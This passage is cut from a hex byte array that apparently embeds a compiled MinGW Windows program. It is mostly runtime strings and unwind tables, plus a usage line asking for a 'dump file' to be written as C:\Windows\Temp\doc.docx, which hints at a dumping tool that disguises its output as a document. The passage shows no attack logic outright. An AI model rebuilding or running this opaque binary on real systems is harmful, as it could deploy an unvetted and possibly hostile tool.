61,0x00,0x74,0x00,0x65,0x00,0x00,0x00,0x69,0x6E,0x76,0x61,0x6C,0x69,0x64,0x20,0x61,0x72,0x67,0x75,0x6D,0x65,0x6E,0x74,0x3A,0x20,0x25,0x73,0x00,0x00,0x59,0x6F,0x75,0x20,0x6D,0x75,0x73,0x74,0x20,0x70,0x72,0x6F,0x76,0x69,0x64,0x65,0x20,0x74,0x68,0x65,0x20,0x64,0x75,0x6D,0x70,0x20,0x66,0x69,0x6C,0x65,0x3A,0x20,0x2D,0x2D,0x77,0x72,0x69,0x74,0x65,0x20,0x43,0x3A,0x5C,0x57,0x69,0x6E,0x64,0x6F,0x77,0x73,0x5C,0x54,0x65,0x6D,0x70,0x5C,0x64,0x6F,0x63,0x2E,0x64,0x6F,0x63,0x78,0x00,0x00,0x00,0x00,0x10,0xBB,0x48,0x65,0x00,0x80,0x49,0x65,0x04,0x80,0x49,0x65,0x38,0x4A,0x49,0x65,0x18,0x70,0x49,0x65,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x4D,0x69,0x6E,0x67,0x77,0x2D,0x77,0x36,0x34,0x20,0x72,0x75,0x6E,0x74,0x69,0x6D,0x65,0x20,0x66,0x61,0x69,0x6C,0x75,0x72,0x65,0x3A,0x0A,0x00,0x41,0x64,0x64,0x72,0x65,0x73,0x73,0x20,0x25,0x70,0x20,0x68,0x61,0x73,0x20,0x6E,0x6F,0x20,0x69,0x6D,0x61,0x67,0x65,0x2D,0x73,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x20,0x20,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x51,0x75,0x65,0x72,0x79,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x66,0x6F,0x72,0x20,0x25,0x64,0x20,0x62,0x79,0x74,0x65,0x73,0x20,0x61,0x74,0x20,0x61,0x64,0x64,0x72,0x65,0x73,0x73,0x20,0x25,0x70,0x00,0x00,0x00,0x00,0x20,0x20,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x20,0x66,0x61,0x69,0x6C,0x65,0x64,0x20,0x77,0x69,0x74,0x68,0x20,0x63,0x6F,0x64,0x65,0x20,0x30,0x78,0x25,0x78,0x00,0x00,0x20,0x20,0x55,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x20,0x70,0x73,0x65,0x75,0x64,0x6F,0x20,0x72,0x65,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,0x20,0x70,0x72,0x6F,0x74,0x6F,0x63,0x6F,0x6C,0x20,0x76,0x65,0x72,0x73,0x69,0x6F,0x6E,0x20,0x25,0x64,0x2E,0x0A,0x00,0x00,0x00,0x20,0x20,0x55,0x6E,0x6B,0x6E,0x6F,0x77,0x6E,0x20,0x70,0x73,0x65,0x75,0x64,0x6F,0x20,0x72,0x65,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,0x20,0x62,0x69,0x74,0x20,0x73,0x69,0x7A,0x65,0x20,0x25,0x64,0x2E,0x0A,0x00,0x00,0x00,0x25,0x64,0x20,0x62,0x69,0x74,0x20,0x70,0x73,0x65,0x75,0x64,0x6F,0x20,0x72,0x65,0x6C,0x6F,0x63,0x61,0x74,0x69,0x6F,0x6E,0x20,0x61,0x74,0x20,0x25,0x70,0x20,0x6F,0x75,0x74,0x20,0x6F,0x66,0x20,0x72,0x61,0x6E,0x67,0x65,0x2C,0x20,0x74,0x61,0x72,0x67,0x65,0x74,0x69,0x6E,0x67,0x20,0x25,0x70,0x2C,0x20,0x79,0x69,0x65,0x6C,0x64,0x69,0x6E,0x67,0x20,0x74,0x68,0x65,0x20,0x76,0x61,0x6C,0x75,0x65,0x20,0x25,0x70,0x2E,0x0A,0x00,0x00,0x6D,0x00,0x73,0x00,0x76,0x00,0x63,0x00,0x72,0x00,0x74,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x5F,0x76,0x73,0x63,0x70,0x72,0x69,0x6E,0x74,0x66,0x00,0x00,0x00,0x00,0x6D,0x00,0x73,0x00,0x76,0x00,0x63,0x00,0x72,0x00,0x74,0x00,0x2E,0x00,0x64,0x00,0x6C,0x00,0x6C,0x00,0x00,0x00,0x76,0x73,0x70,0x72,0x69,0x6E,0x74,0x66,0x5F,0x73,0x00,0x00,0x00,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x47,0x43,0x43,0x3A,0x20,0x28,0x47,0x4E,0x55,0x29,0x20,0x31,0x33,0x2D,0x77,0x69,0x6E,0x33,0x32,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x1C,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0xE0,0x0F,0xFF,0xFF,0x14,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x50,0xC5,0x0C,0x04,0x04,0x00,0x00,0x2C,0x00,0x00,0x00,0x3C,0x00,0x00,0x00,0xE0,0x0F,0xFF,0xFF,0xD1,0x01,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x46,0x87,0x03,0x86,0x04,0x83,0x05,0x02,0x6D,0x0A,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x47,0x0B,0x00,0x30,0x00,0x00,0x00,0x6C,0x00,0x00,0x00,0x90,0x11,0xFF,0xFF,0xAE,0x01,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x41,0x87,0x03,0x43,0x86,0x04,0x43,0x83,0x05,0x02,0x78,0x0A,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x4B,0x0B,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0xA0,0x00,0x00,0x00,0x0C,0x13,0xFF,0xFF,0x22,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x5C,0xC5,0x0C,0x04,0x04,0x00,0x00,0x1C,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x1C,0x13,0xFF,0xFF,0x1B,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x57,0xC5,0x0C,0x04,0x04,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x2C,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x04,0x13,0xFF,0xFF,0x9C,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x46,0x87,0x03,0x86,0x04,0x83,0x05,0x02,0x7D,0x0A,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x47,0x0B,0x00,0x1C,0x00,0x00,0x00,0x4C,0x00,0x00,0x00,0x74,0x13,0xFF,0xFF,0x2F,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x6B,0xC5,0x0C,0x04,0x04,0x00,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x20,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x6C,0x13,0xFF,0xFF,0x4C,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x44,0x83,0x03,0x02,0x44,0xC5,0xC3,0x0C,0x04,0x04,0x00,0x20,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x94,0x13,0xFF,0xFF,0x38,0x02,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x44,0x83,0x03,0x03,0x30,0x02,0xC5,0xC3,0x0C,0x04,0x04,0x1C,0x00,0x00,0x00,0x64,0x00,0x00,0x00,0xA8,0x15,0xFF,0xFF,0x43,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x7F,0xC5,0x0C,0x04,0x04,0x00,0x00,0x1C,0x00,0x00,0x00,0x84,0x00,0x00,0x00,0xCB,0x15,0xFF,0xFF,0x60,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0x5C,0xC5,0x0C,0x04,0x04,0x00,0x1C,0x00,0x00,0x00,0xA4,0x00,0x00,0x00,0x0B,0x16,0xFF,0xFF,0xFC,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0xF8,0xC5,0x0C,0x04,0x04,0x00,0x1C,0x00,0x00,0x00,0xC4,0x00,0x00,0x00,0xE7,0x16,0xFF,0xFF,0xB0,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0xAC,0xC5,0x0C,0x04,0x04,0x00,0x1C,0x00,0x00,0x00,0xE4,0x00,0x00,0x00,0x77,0x17,0xFF,0xFF,0xE4,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0xE0,0xC5,0x0C,0x04,0x04,0x00,0x20,0x00,0x00,0x00,0x04,0x01,0x00,0x00,0x3B,0x18,0xFF,0xFF,0x62,0x02,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x44,0x83,0x03,0x03,0x5A,0x02,0xC5,0xC3,0x0C,0x04,0x04,0x1C,0x00,0x00,0x00,0x28,0x01,0x00,0x00,0x79,0x1A,0xFF,0xFF,0x17,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x53,0xC5,0x0C,0x04,0x04,0x00,0x00,0x1C,0x00,0x00,0x00,0x48,0x01,0x00,0x00,0x70,0x1A,0xFF,0xFF,0x94,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0x90,0xC5,0x0C,0x04,0x04,0x00,0x1C,0x00,0x00,0x00,0x68,0x01,0x00,0x00,0xE4,0x1A,0xFF,0xFF,0x22,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x5E,0xC5,0x0C,0x04,0x04,0x00,0x00,0x1C,0x00,0x00,0x00,0x88,0x01,0x00,0x00,0xE6,0x1A,0xFF,0xFF,0xD3,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0xCF,0xC5,0x0C,0x04,0x04,0x00,0x10,0x00,0x00,0x00,0xA8,0x01,0x00,0x00,0x99,0x1B,0xFF,0xFF,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0xBC,0x01,0x00,0x00,0x8C,0x1B,0xFF,0xFF,0x08,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0xD0,0x01,0x00,0x00,0x80,0x1B,0xFF,0xFF,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x2C,0x00,0x00,0x00,0xE4,0x01,0x00,0x00,0x78,0x1B,0xFF,0xFF,0x4C,0x05,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x49,0x87,0x03,0x86,0x04,0x83,0x05,0x03,0x3C,0x05,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x14,0x02,0x00,0x00,0x94,0x20,0xFF,0xFF,0xA3,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x28,0x00,0x00,0x00,0x28,0x02,0x00,0x00,0x23,0x21,0xFF,0xFF,0x9B,0x02,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x45,0x87,0x03,0x83,0x04,0x03,0x90,0x02,0xC3,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x54,0x02,0x00,0x00,0x92,0x23,0xFF,0xFF,0x28,0x02,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x03,0x24,0x02,0xC5,0x0C,0x04,0x04,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x20,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x84,0x25,0xFF,0xFF,0x47,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x44,0x83,0x03,0x7F,0xC5,0xC3,0x0C,0x04,0x04,0x00,0x00,0x1C,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0xA7,0x25,0xFF,0xFF,0xA3,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0x9F,0xC5,0x0C,0x04,0x04,0x00,0x1C,0x00,0x00,0x00,0x60,0x00,0x00,0x00,0x2A,0x26,0xFF,0xFF,0xBE,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0xBA,0xC5,0x0C,0x04,0x04,0x00,0x10,0x00,0x00,0x00,0x80,0x00,0x00,0x00,0xC8,0x26,0xFF,0xFF,0x5A,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x94,0x00,0x00,0x00,0x0E,0x27,0xFF,0xFF,0x39,0x01,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x47,0x87,0x03,0x03,0x2E,0x01,0xC5,0xC7,0x0C,0x04,0x04,0x20,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x23,0x28,0xFF,0xFF,0x08,0x01,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x47,0x87,0x03,0x02,0xFD,0xC5,0xC7,0x0C,0x04,0x04,0x00,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x1C,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0xF0,0x28,0xFF,0xFF,0x3D,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x79,0xC5,0x0C,0x04,0x04,0x00,0x00,0x1C,0x00,0x00,0x00,0x3C,0x00,0x00,0x00,0x0D,0x29,0xFF,0xFF,0x4A,0x01,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x03,0x46,0x01,0xC5,0x0C,0x04,0x04,0x1C,0x00,0x00,0x00,0x5C,0x00,0x00,0x00,0x37,0x2A,0xFF,0xFF,0xEF,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0xEB,0xC5,0x0C,0x04,0x04,0x00,0x1C,0x00,0x00,0x00,0x7C,0x00,0x00,0x00,0x06,0x2B,0xFF,0xFF,0x83,0x01,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x03,0x7F,0x01,0xC5,0x0C,0x04,0x04,0x20,0x00,0x00,0x00,0x9C,0x00,0x00,0x00,0x69,0x2C,0xFF,0xFF,0xFF,0x01,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x47,0x87,0x03,0x03,0xF4,0x01,0xC5,0xC7,0x0C,0x04,0x04,0x1C,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x44,0x2E,0xFF,0xFF,0x00,0x01,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0xFC,0xC5,0x0C,0x04,0x04,0x00,0x20,0x00,0x00,0x00,0xE0,0x00,0x00,0x00,0x24,0x2F,0xFF,0xFF,0xBD,0x05,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x47,0x87,0x03,0x03,0xB2,0x05,0xC5,0xC7,0x0C,0x04,0x04,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x20,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0xA8,0x34,0xFF,0xFF,0x2E,0x01,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x44,0x83,0x03,0x03,0x26,0x01,0xC5,0xC3,0x0C,0x04,0x04,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x1C,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x9C,0x35,0xFF,0xFF,0x94,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0x90,0xC5,0x0C,0x04,0x04,0x00,0x1C,0x00,0x00,0x00,0x3C,0x00,0x00,0x00,0x10,0x36,0xFF,0xFF,0x8E,0x03,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x03,0x8A,0x03,0xC5,0x0C,0x04,0x04,0x14,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x7A,0x52,0x00,0x01,0x7C,0x08,0x01,0x1B,0x0C,0x04,0x04,0x88,0x01,0x00,0x00,0x1C,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0x68,0x39,0xFF,0xFF,0x15,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x51,0xC5,0x0C,0x04,0x04,0x00,0x00,0x1C,0x00,0x00,0x00,0x3C,0x00,0x00,0x00,0x5D,0x39,0xFF,0xFF,0xF2,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0xEE,0xC5,0x0C,0x04,0x04,0x00,0x1C,0x00,0x00,0x00,0x5C,0x00,0x00,0x00,0x2F,0x3A,0xFF,0xFF,0x80,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0x7C,0xC5,0x0C,0x04,0x04,0x00,0x28,0x00,0x00,0x00,0x7C,0x00,0x00,0x00,0x8F,0x3A,0xFF,0xFF,0xA0,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x46,0x87,0x03,0x86,0x04,0x83,0x05,0x02,0x93,0xC3,0x41,0xC6,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x28,0x00,0x00,0x00,0xA8,0x00,0x00,0x00,0x03,0x3B,0xFF,0xFF,0xDE,0x02,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x48,0x87,0x03,0x83,0x04,0x03,0xD0,0x02,0xC3,0x41,0xC7,0x41,0xC5,0x0C,0x04,0x04,0x00,0x00,0x00,0x1C,0x00,0x00,0x00,0xD4,0x00,0x00,0x00,0xB5,0x3D,0xFF,0xFF,0x85,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0x81,0xC5,0x0C,0x04,0x04,0x00,0x1C,0x00,0x00,0x00,0xF4,0x00,0x00,0x00,0x1A,0x3E,0xFF,0xFF,0xD2,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0xCE,0xC5,0x0C,0x04,0x04,0x00,0x1C,0x00,0x00,0x00,0x14,0x01,0x00,0x00,0xCC,0x3E,0xFF,0xFF,0x2F,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x6B,0xC5,0x0C,0x04,0x04,0x00,0x00,0x1C,0x00,0x00,0x00,0x34,0x01,0x00,0x00,0xDB,0x3E,0xFF,0xFF,0xD8,0x01,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x03,0xD4,0x01,0xC5,0x0C,0x04,0x04,0x1C,0x00,0x00,0x00,0x54,0x01,0x00,0x00,0x93,0x40,0xFF,0xFF,0x1E,0x01,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x03,0x1A,0x01,0xC5,0x0C,0x04,0x04,0x20,0x00,0x00,0x00,0x74,0x01,0x00,0x00,0x91,0x41,0xFF,0xFF,0xD0,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x47,0x87,0x03,0x02,0xC5,0xC5,0xC7,0x0C,0x04,0x04,0x00,0x20,0x00,0x00,0x00,0x98,0x01,0x00,0x00,0x3D,0x42,0xFF,0xFF,0x75,0x01,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x47,0x87,0x03,0x03,0x6A,0x01,0xC5,0xC7,0x0C,0x04,0x04,0x20,0x00,0x00,0x00,0xBC,0x01,0x00,0x00,0x8E,0x43,0xFF,0xFF,0x65,0x01,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x47,0x87,0x03,0x03,0x5A,0x01,0xC5,0xC7,0x0C,0x04,0x04,0x1C,0x00,0x00,0x00,0xE0,0x01,0x00,0x00,0xCF,0x44,0xFF,0xFF,0x6A,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0x66,0xC5,0x0C,0x04,0x04,0x00,0x1C,0x00,0x00,0x00,0x00,0x02,0x00,0x00,0x19,0x45,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0x41,0x0E,0x08,0x85,0x02,0x42,0x0D,0x05,0x02,0x